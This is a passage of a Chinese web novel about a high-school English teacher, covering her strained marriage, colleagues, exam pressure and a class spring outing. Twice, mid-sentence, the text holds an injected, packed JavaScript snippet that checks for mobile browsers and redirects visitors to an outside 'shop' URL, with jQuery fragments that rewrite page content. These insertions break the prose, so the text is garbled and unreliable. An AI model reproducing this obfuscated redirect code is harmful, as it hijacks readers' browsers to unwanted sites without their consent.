李知难还没来得及再说话,护士那边叫家长过去,宋乐端起了自己一家之主的态度,应着去了。 李知难摸着儿子的额头:“你觉得妈妈刚才态度不好了吗?” “有点。” “那妈妈跟你道歉。” “我就是不知道你为什么生气。”皮皮道。 “因为爸爸刚才用的词汇,无论是对男人还是对女人,都是不尊重的。” “大老爷们儿?”皮皮问。 “嗯,我不觉得这是个好词。” “可是富人是个好词啊。” “你怎么会这么觉得?” “爸爸说你有钱,为什么不好。” “……所以你才笑的?” “嗯。” 李知难摸了摸儿子的头:“对不起皮皮。” “你今天已经跟我说了很多遍了妈妈。”皮皮学着她的样子摸了摸了她的头,“我原谅你了妈妈。” “可你今天还没跟我说呢。”李知难挑眉。 “对不起妈妈,”皮皮道,“我以后不乱吃了。” 约莫半个小时的功夫,皮皮的点滴打完了,人也睡着了过去。宋乐将孩子抱在怀里,二人向停车场走去。 “有件事咱俩得说一下。”进电梯后,宋乐突然开口道。 “什么?” “你学校的事,你得好好处理一下。有什么需要我帮忙的……” “我处理什么?”李知难还没等他说完就反驳了回去,她不解他是如何得知的。 “我马上升副处,你这样我这边很难做。”宋乐被她的态度触动,也换了口气,没了刚才的关心。 “你的事跟我有什么关系,我的事又跟你有什么关系?” “你这话什么意思?”宋乐提高了音量,又察觉到皮皮在不情愿地动了动身体,讲声音又压了回来。 “字面意思。” “你那个叫收受贿赂,你知不知道这里面的严重性?” “我清者自清。” “那有什么用!我们是夫妻,这种事传出去,别人肯定会觉得我也一样,那我这么多些年的经营,都不要了是吧?” “我说了,我清者自清。” “现在的社会不是你说什么就是什么的社会!舆论不是这样的!” “那是舆论的事。” “可它影响到我了。” “那是你的问题。” “李知难!” 李知难正色道:“我不干涉你的工作,请你也别干涉我的。” “你搞清楚,现在是你的问题影响到了我。”宋乐拦住了她。 “我不想跟你吵架。”李知难态度懒懒的,一脸不耐烦。 “你就会这招是不是?”宋乐气急道,“有问题不解决问题,有事情不说事情,就一句不想吵架,就想把所有都搪塞过去?” 李知难一脸疲倦,道:“有什么事情明天再说吧。” 宋乐将皮皮放到了宝宝椅上,将车点了火,低声道:“李知难,你想离婚吗?” 李知难平静地回道:“不想。” 16. 取取舍舍 第二天李知难醒来时,宋乐已经出门上班了,皮皮正偎在她怀里,睡得香沉。 李知难摸了摸他的脑门,温度正常,便放心地去厨房做起了早餐。 按照皮皮的作息,本应该半个小时后就醒,可李知难试图叫了几次,他都满脸困意不愿起床,索性李知难也没再勉强他。直到将近中午时分,皮皮才不甘心地睁开了眼睛。 “妈妈?”皮皮有些意外。 “怎么了?” “你怎么在家?你不应该去上课了吗?”皮皮问。 “今天休息,在家陪你。”李知难答,“感觉好点了吗?” 皮皮点头。 “那去洗漱,然后吃饭好吗?” 皮皮点头。待他从洗手间整理完毕出来后,刚才温顺的小猫像是变了个人一样,蹦蹦跳跳地说道:“妈妈你帮我跟老师请假了嘛?” 李知难点头。 “但是下午还是要送我去的,我们有个足球小队,放学后要练习的。” “上课的时候请假,踢足球的时候又去了,不太好吧?”李知难作为老师,很能共情另一波老师的心理。 “事实就是我昨天生病今天上午还很难受,但是现在没事了啊!”皮皮辩解道。 “那要不然我先送你去学校上两节课,放学了你再去练习?” “妈妈,我觉得我现在肚子还是有点疼,但是等到四点以后,我应该就会不疼了。” 李知难被他逗笑:“行啊皮皮,成神医了。” 到底是拦不住皮皮的软磨硬泡,观察一个下午孩子状态无碍之后,李知难将他送到了学校。专门挑小路绕着教学楼走,避开被任课老师看到的尴尬。 趁皮皮练习的功夫,她躲到了隔壁咖啡厅,里面全是同样等待的家长们,大家捧着手机喝着咖啡,享受难得的清净时光。 “知难?”她听到后面有人叫她名字。 是孙书维。 “喝什么,我请客。”李知难指了指菜单,“你怎么来这儿了?” 孙书维点了杯美式,道:“区里有会,刚在隔壁开会。”她似乎才反应过来,道:“皮皮学校?” “嗯。” “我都忘了,皮皮在教委直属的重点小学。” “正常今天不是开会的日子,是因为我的事吗?很麻烦吗?”李知难问。 “你高估你自己了,不过是传言,只要没有确实证据,不碍事的。”孙书维答。 “书维,我有点累了。”李知难道。 “路可是你自己选的。”孙书维道。 “我知道,可是我也会累啊。” “你随时都有换条路的选项,看你自己想不想。” 李知难轻笑,道:“有人也跟我说了类似的话。” “那这是个聪明人。”孙书维回,“不是曲子格吧?我可不想和她一个level。” “不是。”李知难道,“小格子很可爱的,你别这么损。” “小猫小狗和小格子都可爱,你知道为什么吗?” “为什么?” “因为他们的脑子都小,小小的就很可爱。”孙书维答。 李知难被她的毒舌笑到。 孙书维突然正了正神色,道:“那女的我替你查了,是宋乐的下属,新调来的。他俩也就是一月中的事,刚开始没多久。” “哦。”李知难道,“我又没让你查。” “还是查一下的好。” “谢谢。” “有什么打算吗?”孙书维问道。 李知难摇头:“还没想好。” “没想好还是压根就没想?” 李知难被戳穿,悻悻地笑了笑。她自己也意识到,关于宋乐,她已经习惯性地将他排到所有待办事项的最末等,就连出轨这种劲爆丑闻,都没办法帮他往前提一提优先级。 “有感觉吗?”孙书维好奇。 “什么?” “知道这件事的时候。” 李知难摇头,然后又点头。 “这是什么意思?” “感觉有点烦躁。”李知难诚实道,“就像是本来都安排好了的事情,突然被意外全部打断,又要重新折腾一遍,就觉得很……” 她一时间想不到合适的词。 孙书维接话道:“麻烦?” “对。”她赞同道。 “不难过?” 她摇头。 “这就说明,虽然结婚六年了,你对他还是一点感情也没有。”孙书维道,“我是该夸你从一而终呢?还是骂你冷血心肠?养个狗养六年也会有感情的。” “感情有什么用?”李知难反问。 “也对,跟曲子格待久了,还以为你能沾点她的恋爱脑,但是你能拎得清,这也很好。” “这事,你别告诉小格子。”李知难听到曲子格的名字,急忙提醒道。 孙书维忍不住笑,她对曲子格的在意都多过结婚多年的丈夫,顿时不由有些同情宋乐。 “我当然不会说,况且她也未必能理解这些现实中的真实问题,”孙书维道,“再说这个故事里的坏人,未必是人家。” 李知难:“我是被出轨的那个,好不好?” “那你多少演得像一点。” “我演技不好。” “那嘴巴就诚实一点。”孙书维一点面子也没有给她留。 月考成绩下来,是李知难“休假”后的第一天。按照成绩的进步,学生的视力情况,用AI重新排列座位,是学校新的实验项目,看着屏幕上的名字排好后,正准备码桌椅的孩子们发出了一片嘘声。 李知难看着屏幕上,穆婷婷和秦梓轩被安排在了一起。 显然,这位负责安排座位的人工智能同志有点人工智障。 李知难看着这排位,也不知道是调换好还是不掉换的好,秦梓轩突然举手说:“老师我最近眼睛疼,坐这么靠后我看不到。” 穆婷婷面露尴尬。 苗苗扫了一眼穆婷婷,突然道:“老师,这个AI排的也太不合理了,邵冲这么高,他坐我前面我什么都看不到了。” 李知难摆了摆手,“那秦梓轩和苗苗换一下吧。” 她叹了口气,打算一会儿和年级组长抱怨下新的智障系统。 “吴老师,”她恰好遇到吴思齐,“我们班物理成绩怎么样?” “这次还可以,年纪第三。”吴思齐答道。 “谢谢吴老师。”她高兴道,才回办公室,就看徐老师一脸黑线走过来:“李老师,你过来一下。” “你们班的英语成绩你看了吗?”徐老师坐在办公椅上,一脸山雨要来。 李知难答:“还没来得及,但是我们班一直是前几名。” “这次不是。” “下降了点?” “这次倒数第一。” 李知难看着表格,本来从没担心过的问题,浮出脑海。 “一个学生的下降,说明学生有问题,一个班级的下降,说明老师有问题。我知道你最近有点忙,但是当老师的,最重要的事情只有一个,抓成绩。成绩上不来,其他都是白扯。高二了已经,高考就在眼前,你要认识到这一点。时间很紧迫。”徐老师敲着桌子板。 “我知道了。” 徐老师:“还有那个音乐剧,你们班参加的人数挺多的?” 李知难解释道:“我没觉得这影响了他们学习,毕竟也是英语……” “孩子的精力是有限的,我看了看小分,秦梓轩的成绩就没受影响,可赵星移,李茂,章乐怡这几个学生,成绩掉的有点多,都是去了音乐剧的。”徐老师分析道。 “也不是所有学生都因为参加音乐剧……” 徐老师也知道自己有些以偏概全,但现象总要有个归因,目前音乐剧就是最简单粗暴的解释,她道:“是,邵冲和那个关系户叫什么来着,什么婷婷,确实没什么变化,照样不及格。” 李知难微微皱了皱眉:“徐老师,穆婷婷英语虽然差了点,但是语文还是挺好的。” “那也是人家语文老师的功劳,是不是李老师?”徐老师反问。 “嗯。” “多抓抓吧,这些本来就不行的孩子,愿意闹闹去,但是这几个好孩子,你还是得抓一抓。” “我知道了。”李知难应道。 “下礼拜还有春游,你们班这个成绩,要我说,都不如留下来补补课,哪还有心情出去玩?”徐老师道。 李知难知道她这也是气话,毕竟春游的问题不是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427801|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师能说的算的,便给了台阶道:“徐老师,这次教务处那边有新闻稿,人不齐不好看。我们班的成绩,我一定会努力抓一抓,您放心。” “下个月的月考,要还是这样,那不好看的可就不止……” 徐老师话没说完,李知难立刻下了军令状:“徐老师,我一定督促孩子们,下个月成绩,必须回来!” “那我可就信你这回了,李老师。” 李知难离开办公室,看到了早早在旁等候她去吃午饭的曲子格。 “挨呲儿了?” 李知难敲了敲她唯恐天下不乱的小脑袋。 “我其实挺不喜欢徐老师这样的。学生身上永远带着标签,好孩子,坏孩子,聪明孩子,一般孩子。”曲子格道,“就好像学习不好犯了天条一样。” 李知难道:“人活一世,谁能没有标签呢。” “那这么说你是同意徐老师这种分法了?” “同意一半,确实学习成绩会把学生分成三六九等,但是他们身上还有其他的标签,学习成绩之外的。” 曲子格道:“那估计咱们徐老师的眼睛是看不到了。” 奚西拿着饭盒凑了过来:“聊什么呢?” 李知难道:“正好你在这,我想问问,我们班那几个参加音乐剧学生,有没有充数的?要不然让他们回来?” 奚西想了想,答:“那个赵星移?他其实作用不大。你要是觉得耽误他学习了,我可以帮你裁掉。” 李知难最怕听到的便是这个名字:“我觉得挺对不起他的。当初是我鼓励他去的。” “他也感受过了,与其天天来这里当棵树,还不如去搞搞擅长的。”奚西道,“小孩子嘛,肯定是哪里热闹好玩想去哪里,但是大人就必须做取舍,现在他们做不到,我们就得做这个坏人,帮他们取舍。” “还是别了,我再想想别的办法,看看给他补补习什么的。”李知难犹豫道。 “你要不换个人鸡?邵冲在我这儿意义也不太大,你要需要,我也可以把他还给你。”曲子格在旁搭话。 “算了,他那个成绩,参不参加都一样。”李知难答,连带着盘子里的菜也没吃两口。 “徐老师这么大威力?”曲子格叹道,“让你饭都吃不下去了?” “下个月月考,我们班要还是这样,那我估计这一年的文体活动,她都能给我停了。”李知难道。 “是不是马上要春游了?”曲子格问道,“这帮孩子心全玩野了,学校也是,又要全面发展,又要抓成绩,孩子又不是机器人,哪能我们指哪就打哪?” “所以,我得琢磨琢磨小聪明了。”李知难答。 第二天早上,李知难便接到了赵星移家长的电话。 “李老师,我想跟您聊聊赵星移的事。” “您说。” “他说,那个音乐剧是您鼓励他报名的,是吗?” “呃,嗯,” “我知道您肯定有您的考量,但是这次他月考成绩下降挺多的,我觉得孩子还是要以学习为重,别因为这些事情分了心。” “我明白,不过……” “星移这个孩子,三天热度,耳根子软,听风就是雨,我就替他跟您说了,这个音乐剧这事,他就先退出了。” “好……”李知难无奈应道。 午休时李知难去看学生彩排,远远看见角落处赵星移面垂头丧气的坐在那里看着台上,心下也颇不是滋味。 “赵星移,出来一下。”她凑过去说道。 比她高出半头的男孩子低着头站在她面前,道:“对不起李老师,浪费您的苦心了。” 李知难苦笑道:“我也有点想跟你说对不起呢。” 赵星移有些意外,似乎从大人嘴里听到这三个字,是破天荒头一回。他忍着失落道:“老师,我回教室学习去了。” “那是他自己的人生,您没办法帮他一辈子的。”李北辰突然出现在身后,幽幽道。 “嗯。”李知难应道,“我还以为取舍是成年人的事,没想到其实孩子们早就习以为常了。” “能看得出来,他很喜欢音乐剧,算是我们这里最开心的一棵树了。”李北辰道。 “可能老天爷就是见不得人太开心吧。”李知难答。 17. 春游 办公室内,李知难指着桌子上收来的纸条,看着对面的女孩,排名数一数二的优等生廖蒙。随着电子设备的普及,没收手机成了新常态,因此当她看到好巧不巧扔到自己脚下的纸条时,甚至没反应过来这是那已经快失传的古早课堂开小差方式。 “李老师我知道错了。”女孩低头道。 “廖蒙,你这次的月考成绩退步不少,心里有数吗?”李知难问道。 廖蒙点头。 “你成绩一直很好,自律性也强,我挺意外你会在课堂上传纸条的。”李知难道。 廖蒙答:“我知道错了,老师您能把纸条还给我吗?” “上面写什么了?”李知难试探地问。 廖蒙红着脸不答。 李知难假意要打开,只见廖蒙下意识伸手想抢,她再次将纸条团了起来。 “不想让我知道?” 廖蒙点头。 “好,这纸条我可以不打开,如果下次月考英语过130,这个纸条我原封不动物归原主,如果你做不到,那我就要尽尽老师的职责了。”李知难道。 廖蒙看着李知难将纸条锁在抽屉最里面,认真地点了点头。 午饭时,曲子格好奇道:“所以纸条上到底写了什么?” 李知难摇头。 “你就不好奇吗?” “以前会好奇,”李知难诚实道,“但是越往后就越不好奇了。” “为什么?” “孩子们过家家,看久了就没什么意思了。” “你不能因为人家是孩子,就认为人家的爱情不是爱情,贾宝玉和林黛玉谈恋爱的时候也就他们这个岁数。” “那是清朝的书里,学校里是不允许有爱情的。” “官方说法是官方说法,你难道真的觉得人的感情能被规矩禁止住?” “我不觉得,但是我也不觉得这种萌芽时期的好奇心算得上是什么爱情。” “爱情和年纪有什么关系?”曲子格不赞同,“你不要老学究啊,爱情就是爱情,你凭什么去定义人家的感情?” 李知难道:“你见多了这种过家家,就不会这么想了。哎不是小格子,我都没打开纸条,你又知道她里面写的是什么了? 曲子格:“你也说见多了,这个年纪怕人看到的纸条,不是谈恋爱能是什么!” “兴许是解题步骤呢。” “骗鬼去吧你。”曲子格反驳。 “看,翻来过去的熟悉剧情,演了这么多年,你都知道下场戏是什么了,还觉得有意思?” “有意思啊,”曲子格道,“世界上哪有比谈恋爱更有意思的事情呢?” 李知难摇摇头,道:“对了,明天春游甭管你抽到哪个班,都换到我们班来啊,你用你那双看戏的眼睛,好好帮我看看廖蒙的红线到底被她自己拴谁身上了。” 鉴于有几位老师年纪偏大,身体负担重,加上担心孩子出意外,这次的春游活动虽然选在了博物馆,但仍旧将副科老师按照抽签的办法一同负责安全事宜。作为体育老师的曲子格每逢这个时候都是抢手人物,毕竟年轻活泼力气大,一个顶三个。 办公室内,奚西也坐在角落,李知难笑道:“你也被选上了?” “新老师都得来,”奚西撅嘴道,“我这边音乐剧忙着呢……” 曲子格听罢,抬头左右寻摸,奚西问道:“怎么了?找什么呢?” 李知难笑道:“她找红线呢,甭管她。” 抽签结果倒也快,奚西抽中了李知难的班级,曲子格抽中了魏老师的二班,没有出席的吴思齐逃过一劫。。 第二天大巴车出发时,曲子格看着一身清朗的吴思齐,意外道:“你不是……不用来吗?” “魏老师家里有点事,就派我来了。” 奚西在旁道:“曲老师,三班的队旗给你……” 曲子格立刻打断:“你记错了啊,我是二班,你是三班。”说罢便推她往里走。 奚西被推到李知难班的大巴车,无语道:“昨天不是她自己要跟我换的嘛……” 李知难看了看外面的景色,道:“她找着红线了,就顾不上别的了。” 奚西虽不知原委,但当下也多少明白大概。 李知难叮嘱了学生注意事项,清点人数后,在群里发送了可以出发的消息,那边司机师傅已经准备就绪,一车孩子兴奋地叽叽喳喳。 “知难,听歌吗?”见她坐下来,奚西问道。 李知难看着她递过来的耳机,接了过来。 车缓缓开动,李知难耳机里传来流畅的钢琴曲。 那音乐听起来轻快又忧伤,她等了半天也没有歌词。正转过头想问问奚西什么情况,却见她听得入神,分外陶醉。 “还是还给你吧,”李知难拿下了耳机,“我就听点流行音乐,你这种钢琴曲我听听该困了。” 奚西道:“这也是流行音乐啊。” “谁唱的?” “还不知道,估计是文诗。” 李知难不懂。 “哦,这是我师哥的曲子,可能音乐买走了,要给文诗唱,最近正在找人填词呢。” “那这曲子,你怎么有的?” “陈亦童给我的,让我想想灵感,他说他们那边纠结了很久,找不出来适合的词,让我想一想。”奚西道,“悄悄告诉你,我还挺擅长写词的。” 李知难点了点头。 大巴车的后面,苗苗小声道:“刚才七班那个张雾给的你什么?” 穆婷婷示意她噤声。 “到底是什么啊?神神秘秘的!” 穆婷婷拿了出来,苗苗看罢瞪大了眼睛:“情书??他也太老土了,这年头谁还送这种东西?” 穆婷婷再次示意她噤声。 “肉麻吧唧的,”苗苗评价道,“字也不怎么样,文采也不怎么样,方式更不怎么样,果然不怎么样的人干不怎么样的事。” 穆婷婷皱眉道:“你别这么说人家了。” “婷婷,他也不看看自己什么条件,光带胆子就出门了,不带镜子吗?” 穆婷婷答:“有胆子也总比没有强吧。” 苗苗听懂了她的话音,道:“上次是我太冲动了,婷婷,我觉得他真的对你有意思,可能我那种方式有问题。” 穆婷婷道:“别说了,你自己说的自己信吗?” 苗苗回头瞪了眼角落处的秦梓轩,没好气地转过了头。 到达博物馆后,老师们按照流程走了些景点介绍,安排了游学任务,学生们终于迎来了属于自己的活动时间。 曲子格没精打采地来到她二人身侧。 “出师不利?”李知难明知故问。 曲子格道:“我见过话少的,没见过这么少的。” “连你都聊不动?”李知难意外。 曲子格道:“前几次聊不下去,我还能有个地转头走,大不了下次再聊。今天这一路堵车,一个半小时,我往死里聊都聊不回来超过五个字的句子。” “那你就别跟他说话了。”李知难建议道。 曲子格意外:“还能有这个选项?” 奚西笑道:“我跟知难这一路就没怎么聊天啊。” 曲子格:“我靠,是啊!” 李知难看她后知后觉,道:“小格子,你那边估计找不到红线了,不如你帮我找找我这边的吧?” 奚西:“你们这到底是说什么呢?我怎么一会儿明白一会儿糊涂?” 李知难道:“走,咱们俩去门口咖啡厅喝咖啡去。一天坐一坐玩玩手机,很快就能过去。” 曲子格在另一边谨慎地跟在廖蒙身后,假装随意晃悠,跟了半个多小时,廖蒙和同是优等生的同学尤汐涵专心地看着文物,没有其他异样,跟累了便也来咖啡厅坐着了。 “怎么样?” “没动静。” “你水平不行啊!”李知难取笑。 “一般这种春游秋游的时候,这帮猴崽子都有破绽的,今天什么情况?” “可能今天风水不好。” 曲子格余光瞥到外面,突然笑了起来:“我觉得不一定,虽然抓不到红线,但是抓到了个触碰红线的。” 李知难:“外头?” “嗯。” “抽烟呢?” “嗯。” 奚西着急地往外看:“在哪啊?你们怎么看到的?” 曲子格:“我眼睛尖,她见识广。” 李知难:“是我们班的吗?” 曲子格:“不太确定,看身形,也可能不是。” 李知难看了看外面的太阳,道:“要不放他们一马吧,难得博物馆的咖啡这么好喝,实在不想出去找不痛快。” 曲子格突然站直了身子。 “怎么了?”李知难倒是有些意外她这反应。 “看走眼了。” “还能有你看走眼的时候?”李知难愈发看热闹不嫌事大。 曲子格起身道:“你别管啊,我出去管。” 曲子格三两步绕到角落的吸烟处,严肃道:“吴老师。” 吴思齐本来确认这地方隐蔽没有学生,也没想被突如其来的她抓了个正着,嘴里含着的那口烟吐也不是,不吐也不是。最后他还是将头撇到了一边,用手扇了扇烟雾。 “曲老师。” “你抽烟啊?” “对。” 曲子格下意识一副老师态度,像是平时在操场隐秘处逮到犯错的学生:“谁教你抽烟的?” 吴思齐被教育得突然,嘴角尴尬地抽了抽,答:“我……爷爷?” “你知不知道抽烟是不对的?” 吴思齐:“对不起。”说罢将烟灭了去,转身要走。 “我让你走了吗?”曲子格喊道,喊完又意识到自己这态度是流水线流程走习惯了,眼前这人抽烟她好像管不着。 “还有事?” “你,”她想来想去,只答,“你不能再抽烟了。” 吴思齐也是头一回在同事嘴里听到这样的命令,只托词答:“哦,好的。” 半晌后,李知难见曲子格一脸懵地回来,问道:“抓着了?” 曲子格点头。 “那怎么这个表情?” “抓错了。” “不是咱们学校的?” “是。” “那还有什么错的?” “是吴老师。”曲子格答,“我好像给他呲儿了一顿。” 李知难道:"你……管得挺宽啊。" 曲子格:“习惯了。” 李知难向外看去,恰好看到章乐怡站在吴思齐身边,笑得甜美可人。 那个场面让李知难心里不由紧张,她想着吴思齐这时候就应该躲开了,自己上次明明和他说得那么清楚,可是等了五分钟,吴思齐仍旧站在原地,没有避嫌的意识。 她看了看身旁一脸愧疚的曲子格,想到了一石二鸟的好办法,便道:“小格子,我觉得你应该给人家吴老师道个歉去。” “我……”曲子格内心是有歉意,可要去开口道歉她又有些不服气。 奚西也劝道:“都是同事,这事咱确实管不着。” “现在去吧,”李知难起身推她,“吴老师就在那边呢,去解释一下,别留下坏印象。” 曲子格被推着,硬着头皮来到了吴思齐旁边,原本在一旁的章乐怡见她过来,也急忙跑开找同学去了。 “吴老师……”曲子格有些尴尬。 吴思齐见她过来,没了刚才叱咤小金刚的劲头,又觉得有些好笑,便回道:“是我又做错什么了嘛?” 曲子格忙道:“没有没有,我不是……我是……我那个,我刚才态度不太好,你别往心里去。” 吴思齐回道:“没事。” “行,那,那我就回去了啊。”她摆了摆手。 还没转身,却听吴思齐在旁又道:“那您刚才的话还算数吗?” “什么话?” “我不能抽烟了。” “呃,”曲子格尬笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427802|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答:“我管天管地也管不到你身上,你爱抽抽去吧。” 吴思齐突然道:“我以后不了。” 曲子格和李知难不同,她每日在学生里听到最多的是“好的老师”,“谢谢老师”,“我肚子疼想请假老师”,“以后不了”对她来说是个新鲜句子。 她不由觉得这话里多了丝暧昧,便道:“因为我不让?” 吴思齐点头,又道:“对身体也不好。” “知道还抽,”她下意识回,又反应过来自己这话和前来缓和关系的目的再次冲突后,暗觉自己脑子缺根弦,懒得再多说,只悻悻道:“我先回去了。” “一起吧。”吴思齐突然提议道,“前面是远古时期的文物,曲老师想去看看吗?” 曲子格以为自己听错了,待她脑袋思索时,腿脚已经跟着吴思齐走过去了。 奚西踮着脚尖往那边望,实时和李知难汇报道:“俩人走了,什么情况?” 李知难也看了过去,道:“可能小格子还真找到红线了。” 奚西笑着坐了回来,又开始摆弄她的耳机。 李知难看了眼手机屏幕,道:“你来回来去听这一首歌,不觉得烦啊?” 奚西道:“这是工作。” “啥?” “陈亦童说要是我能给他想到填词的灵感,他就帮我录音乐剧第三章的配乐。”奚西答,“第三章那里,我想要个更辉煌,更大气的感觉。” “李北辰不行吗?” “师哥是自己一个人,陈亦童有团队,还能给我搞来乐团,”奚西道,“你想一下,舞台上,男主角下定决心要一展抱负时,交响乐团的伴奏响起,千军万马,万里河山,最后一只小号的声音指引前方的路,光想想我就觉得很有画面。” “哦。”李知难笑着点头,她不太懂这方面,只能透过奚西的表情推测大概。 “我只要帮了陈亦童,他就会帮我,所以我最近要多听听这个曲子,随时感受不同的情绪,到时候多给他几种,说不定就有能帮到他的。” 李知难突然道:“你有暗恋过别人吗?” 奚西犹豫了一下,最后选择摇了摇头。 “你不会没谈过恋爱吧?”李知难突然道。 奚西笑答:“很明显吗?” “怎么可能……”李知难颇为意外。 “我高中之前上的都是女校,大学出国,周围的朋友也都是女生。” “没有追你的吗?” “有想睡我的,但是追我的,没太感觉出来。” 李知难看着她,不知该觉得可惜还是庆幸。 奚西道:“我看咱们学校里的孩子,可能恋爱经验都比我丰富,长江后浪推前浪啊。” “这话是这么用的吗?”李知难答。 “早知道我也应该在高中的时候谈谈恋爱,说不定会有不一样的效果。” “为什么?” “大学之后好像有些复杂,大家都认为性是感情的终点,但是我想要那种纯洁的感情,想来想去,只有高中校园的初恋才会有了。” “初恋也未必都是纯洁美好的。” “李老师,你初恋什么样?” 李知难摇头:“八百年前的事情,早不记得了。” “怎么可能,人家说,女人一生都不会忘记初恋。” “女人一生被定义过很多事情,不会忘记初恋,不会同时爱两个人,不会享受没有感情的□□欲望,但是现实是,女人也是人,是人就没有能被定义住的。”李知难笑道。 “本来还想找你偷偷灵感,看来没戏了。”奚西有些丧气。 李知难摩挲着手中的咖啡,道:“你这首曲子,让我想起了暗恋。” “展开说说。”奚西立刻掏出了小本本。 “一般说恋爱呢,前期都是甜蜜的,中间可能会有争吵,结局有可能是从此以后过着幸福的生活,抑或是分道扬镳再也不见。虽然时期不同,但总归是大苦大甜,味道分明。暗恋就不太一样了,暗恋是苦甜参半的,有多少苦也一定掺着多少甜,反之亦然。我不太懂音乐,但是这歌,难过的时候听就有些难过,开心的时候听,又有些开心,像不像暗恋?爱情到底存在不存在,全看一个人的想法,她觉得有的时候便是有,没的时候便是没。”李知难不知自己当下在描述的是自己的感受,还是因为想到了某个人,去猜测他的感情。 奚西点了点头:“李老师你怎么会有这种想法?” “我也是瞎说的。”她有些尴尬道。 “你暗恋过别人?”奚西挑眉好奇。 “可能吧。”李知难耸了耸肩膀,不置可否。 “什么样的人?得是非常优秀的吧?”奚西继续道。 李知难叹了口气,答:“被暗恋的人,其实本质上未必有多优秀。是那层思而不得的光环,让他看起来优秀,甚至有些神圣。等有一天得到了,光环灭了,也不过就是个普通人,大抵没什么区别。” “所以暗恋,就是场自我欺骗?”奚西总结。 李知难道:“如果一直停在暗恋的时候,那一切都很美好啊,是人非要想得到的欲望,毁了它。你看咱们学校,少男少女要是都能懂这个道理,我的工作量能少很多。” 奚西笑道:“那还不是你说的,人没法被定义住。” 李知难道:“是啊,明知山有虎,偏向虎山行。” 春游结束后,曲子格从前面大巴车上下来,火烧屁股一般冲到李知难身边。 “我有个事要跟你说。”她急匆匆将李知难拉到一旁,又道:“不对,我有两个事要跟你说。” “你说。” “我刚才看见你们班俩学生在博物馆犄角旮旯里……亲嘴来着。” 李知难皱眉:“谁啊?” “这个不重要。” “啥?” “因为我还有第二个事。” 李知难不详的预感顿起,生怕这些孩子再做出什么更出格的事情。 曲子格道:“我,跟吴思齐好了。” 18. 暗恋 周一上午第三堂课,李知难进教室时,迎来一众学生的诧异。 “老师,这节课是地理课。”班长吴澄提醒道。 李知难回道:“我知道,我占了,把上次的卷子拿出来。” 周二,体育课代表钱浩宇送来了消息:体育课也被李知难占了。 “下午那节自习咱们上英语,大家准备一下。”周四早自习,李知难讲完事项安排后,交代道。 下面学生在她离开教室后,终于忍不住开始埋怨。 “李老师最近这是疯了?拼命占课。” “对啊,咱们才高二,她这是打哪门子的鸡血?” “李老师是不是更年期了?这是干嘛啊?” 苗苗小声和身旁的穆婷婷说道:“咱们李老师这是要惹得天怒人怨了。” 穆婷婷耸了耸肩膀,回道:“上什么课都一样,反正都没什么意思。” 苗苗见她情绪不高,便道:“走走走,我请你吃好吃的,走了走了。” 说罢推她出了教室。 角落处一群男孩围着邵冲,内容也是大差不离的埋怨。 “邵冲,你怎么不说话?”钱浩宇见他分外沉默,询问道。 刘帆在一旁替他应道:“邵冲耳朵里哪听的了说李老师不好的。” 邵冲黑着脸回道:“你他妈别瞎说啊。” 钱浩宇看他情绪不对,解围道:“哎呀,送礼那事不是都解释清楚了嘛,一盒月饼算是什么礼啊,要这都算是礼,那我爸够被关进监狱八百回的。” 刘帆本是玩笑,没成想讨了个不痛快,回道:“你自己之前老说你跟李老师关系好的,冲我撒什么气啊。” 邵冲低着头,回道:“我什么时候说过了,我跟李老师没任何关系。” 此时,章乐怡正巧走过来,催促道:“你们几个物理作业赶紧的,再不交我不要了啊!” 几个男生匆忙去找作业,邵冲仍旧没动静。 “说你呢,邵冲,交不交?” 邵冲没好气回道:“我没写。” “没写你还有理了?”章乐怡见他这态度,更是不悦。 一旁的秦沐熙拉了拉章乐怡的袖子,小声道:“你忘了他跟李老师那事了?” 显然女学生这边的八卦和男学生那边的颇为不同,章乐怡也不知怎的突然变了态度,在最下面拿出了自己的作业本,递过去小声道:“赶紧抄完了给我。” 邵冲被她莫名的善意倒是搞得有些手足无措。 红五月活动在即,为了方便活动进行,每周二周五下午都会专门留出时间给有节目的同学,其余的同学便在教室里进行自习。看着又抱着教案进教室的李知难,三班的学生决定来一场小小的起义。 “老师,再学英语我脑子就要炸了。”刘帆举手道。 苗苗接话道:“我妈说我做梦说的都是英语了,李老师您行行好吧!今天是周五,我们还想提前写写作业呢!” 李知难面子有些挂不住,道:“我也是为了你们好,那些参加表演的同学,人家正用英语对话呢,咱们这边也别落下。” 钱浩宇应道:“李老师,那秦梓轩邵冲还去打篮球去了呢,要不您也把他俩叫回来?” “怎么?都不想学英语了?”李知难看着下面的士气低落,也怕自己拔苗助长。 底下学生一齐点头。 李知难道:“行吧,那你们想写作业就写作业吧,我就在这儿坐着,有问题就过来问我答疑。” 章乐怡突然举起了手:“老师!我有道物理题,能去问一下吴老师么?” 一旁的女孩们脸上闪过窃笑。 李知难看了看这反应,回道:“吴老师不在办公室。” “您怎么知道的?” “我……”李知难本想回答,但又觉得这事大庭广众下说不太得体,便道,“正好我有别的事找你,来章乐怡,你跟我来趟办公室。” 李知难破天荒地给学生接了杯水,放到了桌子上,又拉了把椅子,让她坐下。 章乐怡本来没多想,但是这种态度,反倒让她心里毛楞楞的。 “来,咱俩聊聊个事。”李知难开口道。 “什么事?”章乐怡问道。 